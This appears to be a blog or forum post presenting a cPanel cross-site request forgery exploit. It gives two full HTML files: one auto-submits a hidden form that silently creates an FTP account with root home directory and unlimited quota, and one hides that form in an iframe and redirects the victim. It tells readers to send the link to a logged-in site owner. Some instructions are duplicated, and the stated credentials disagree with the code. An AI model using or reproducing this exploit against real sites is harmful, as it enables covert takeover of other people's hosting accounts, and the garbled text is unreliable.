Cpanel CSRF Exploit
Requirements
- Contact with site owner (must be logged into cpanel)
- Hosting (http://000webhost.com)
- Cpanel url (Most of the time it is http://site.com:2082 or http://site.com/cpanel)
Method
Upload these two files to your webhost
file.htmlRequirements
- Contact with site owner (must be logged into cpanel)
- Hosting (http://000webhost.com)
- Cpanel url (Most of the time it is http://site.com:2082 or http://site.com/cpanel)
Method
Upload these two files to your webhost
Code:
<html>
<head>
<script type="text/javascript">
function submit()
{
document.getElementById("submit").click();
document.submitForm.submit();
}
</script>
</head>
<body onload="submit()">
<form method="POST" name="form0" action="
http://WWW.SITE.COM:2082/frontend/x3/ftp/doaddftp.html">
<input type="hidden" name="login" value="name"/>
<input type="hidden" name="password" value="pass"/>
<input type="hidden" name="password2" value="pass"/>
<input type="hidden" name="homedir" value="/"/>
<input type="hidden" name="quota" value="unlimited"/>
<button style="display:none" id="submit"></button>
</form>
</body>
</html>
Replace http://www.site.com with the site you're exploiting.
index.html
Replace the url to whatever you want the victim to be redirected too.
Now once you send the link for the index.html file to the owner of the website, if they're logged into there Cpanel it will silently add an FTP account with the username: user and password: pass
You can edit these details in the "value" field in the first file.
Once the account is created it will redirect them to whatever you want.
http://www.exploit-db.com/exploits/14188/
index.html
Code:
<iframe src="file.html"
style="display:none"></iframe><meta http-equiv="refresh"
content="1; url=http://roflzombie.com/flash/Group_X_video.swf"> Now once you send the link for the index.html file to the owner of the website, if they're logged into there Cpanel it will silently add an FTP account with the username: user and password: pass
You can edit these details in the "value" field in the first file.
Once the account is created it will redirect them to whatever you want.
http://www.exploit-db.com/exploits/14188/
Post a Comment